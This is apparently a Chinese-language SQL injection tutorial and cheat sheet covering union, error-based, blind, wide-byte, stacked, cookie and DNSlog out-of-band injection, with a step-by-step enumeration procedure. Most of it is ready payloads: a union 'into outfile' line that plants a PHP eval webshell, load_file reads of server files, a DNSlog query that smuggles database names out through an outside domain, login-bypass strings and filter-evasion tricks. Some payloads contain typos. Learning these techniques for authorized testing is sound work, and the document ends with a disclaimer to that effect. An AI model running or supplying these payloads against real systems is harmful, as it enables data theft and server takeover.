SQL注入
SQL原理
sql注入通过web应用程序传入数据,通过构造得sql语句进行查询数据
示例 seelct * from users where id='%1%’ and 1=1 +%’
select * from users where uname='$user'and pword='$pwd'
通过注释 #
` USER:ADMIN ‘ and 1=1# `
select * from users where useranme='ADMIN 'and 1=1 #' and password= '$pwd'
将 user
后面给注释#
webshell:当权限为root且知道绝对路径时,可以直接写入一句话 木马到服务器
union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "X:\\xx\\xx.php",也可以查询null值
文件读取:读取敏感文件
union select 1,2,hex(loadfile(D:\\phpStudy\\PHPTutorial\\WWW\\x.php))--+
注入类型
1.数字型
与类似http: xxx.com/news.php?id=1 让数字出错
2.字符型
与类型http: xxx.com/news.php?name=admin 使用引号
3.搜索型
与类似select * from user where content like '%$con%';。使用like、%通配符匹配数据。
与类似?id=a%' and 1=1 #
注入方式
1. 联合注入
union有一个十分严格的约束条件,因为是联合查询,保证字段数一致,即两个查询结果有相同的列数,因此我们后面要对字段数进行判断。
如:union select 1,user(),3 --+;
2. 报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
如:http: xxx.com/news.php?id=-1 --+
3. 时间盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
如:select if(length(user()=5),sleep(2),0) --+;
4. 布尔盲注
即可以根据返回页面判断条件真假的注入;
通过使用函数将想要得数据得到返回;
5. 宽字节注入
程序员为了防止sql注入,对用户输入中的单引号(')进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有'作用,仅仅是内容而已,换句话说,这个单引号无法发挥和前后 单引号闭合的作用,仅仅成为‘内容’ ;条件:前一个ascii大于128)转义
如?id=1%df'->?id=1汉字'
6. 堆叠查询注入
可以同时执行多条语句的执行时的注入;
7. Cookie注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一
样。GET 在 url 传递参数、POST 在 POST 正文传递参数和值,
COOKIE 在 cookie 头传值;
8.DNSlog外带注入
在实际的应用场景中,我们一般在进行SQL盲注时,为了效率,在load_file()函数未被禁用的情况下,我们可以结合一些dnslog平台,进行外带注入;
注入流程
1. 判断是否存在注入,注入是字符型还是数字型 1 and 1'
2. 猜解 SQL 查询语句中的字段数 order by N
3. 确定显示的字段顺序
4. 获取当前数据库
5. 获取数据库中的表
6. 获取表中的字段名
7. 查询到账户的数据
1.回显注入
1 or 1=1
1’ or ‘1=1
1’ or '1=2`
2.报错注入
`extractvalue和updatexml`此报错为函数内部路径报错
3. 盲注
盲注是看不到的,使用函数看不见回显通过页面反应和页面响应时间
1. 判断是否存在注入
?id=1 and 1=1 --+ True页面正常
?id=1 and 1=2 --+ Flase页面异常
2. 判断字段数
?id=1 order by 4 --+ 页面正常
?id=1 order by 5 --+ 页面异常
3. 判断回显位置
?id=1 union select 1,2,3,4 --+
4. 查询数据库名
?id=1 select 1,2,3,database() --+
5. 查询数据表
如果MySQL版本大于5.0的话,存在内置表可以通过内置Information_schema表查询
?id=1 union select 1,table_name,from information_schema.tables where table_schema = database() --+
6. 查询字段名称
?id=1 union select 1,column_name,from information_schema.columns where table_name = 'xx' --+
7. 查询字段值
select 1,username,password, from web --+
布尔注入
1. 检测注入点,为字符型or数字型
2. 数据库长度
3. 猜测数据库ascii码
4. 猜测表名长度
5. 猜测表名ascii码
6. 猜测列名长度
7. 猜测列名ascii码
8. 猜测字段数量
9. 猜测字段长度
10. 猜测字段ascii
参数注入
1. 数字型
先使用?id=1查看是否能注入,再使用order by 判断几列,再使用联合注入查询 对应的字段的内容
如user()database()注意这里是需要的将前面的值进行错误处理;
后面通过字段中间查询找出库表字段
库可以通过database()
表可以通过table_name 查询 使用limit 或者group_concat 加上限制词 where
字段名通过column_name 查询 上通
最后查询对应字段
完成
2. 字符型
上同 只是加入字符串号 闭合单引号
搜索形注入
1. 搜索型
上同 只是加入%‘ --+ 闭合’ “
1%'1 and '%1%'' = '%1
SQL查询语句:select * from users where name like '%tom%'
and '%1%' = '%1%
'这里我们用 '% 来闭合 %' ,如果存在漏洞,返回正常信息。
2. 数字型
3. 字符型
转移函数作用:
单引号(')= (\')
双引号(") = (\")
反斜杠(\) = (\\)
URL编码
%27 单引号
%20 空格
%23 #号
%5c \反斜杠
%df
%cf
常见的第三方dnslog平台:
http: www.dnslog.cn/
http: ceye.io/
http: admin.dnslog.link
利用原理: DNS在解析的时候会留下日志,咱们就是读取多级域名的解析日 志,来获取信息。简单来说就是把信息放在域名中,传递到自己这 DNS服务上,然后读取日志,获取信息;
show variables like '%secure%; 查看load_file()可以读取的磁
盘。
当secure_file_priv为空,就可以读取磁盘的目录。
当secure_file_priv为G:\,就可以读取G盘的文件。
当secure_file_priv为null,load_file就不能加载文件。
phpstudy通过设置my.ini来配置。secure_file_priv=""就是可以
load_flie任意磁盘的文件。
mysql命令行执行:
?id=1' and (select load_file(concat('\\\\',(select
hex(database())),'.98lic0.dnslog.cn\\abc'))) +
PS:注入时需要注意,尽量使用hex() 函数编码一下,不然可能后无法请
求,获取数据后,最后将数据decode即可
万能密码
select * from users where username='admin' or '1'='1' and password='$pwd'
select * from users where username='admin' or '1'='1
注释符
--+
# -> %23
--空格 --%20
/**/ --> ?id=-1'/**/union/**/select/**/1,2,database()--+ //过滤空格,用/**/代替空格
' -->payload结尾单引号闭合
本文章声明:分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果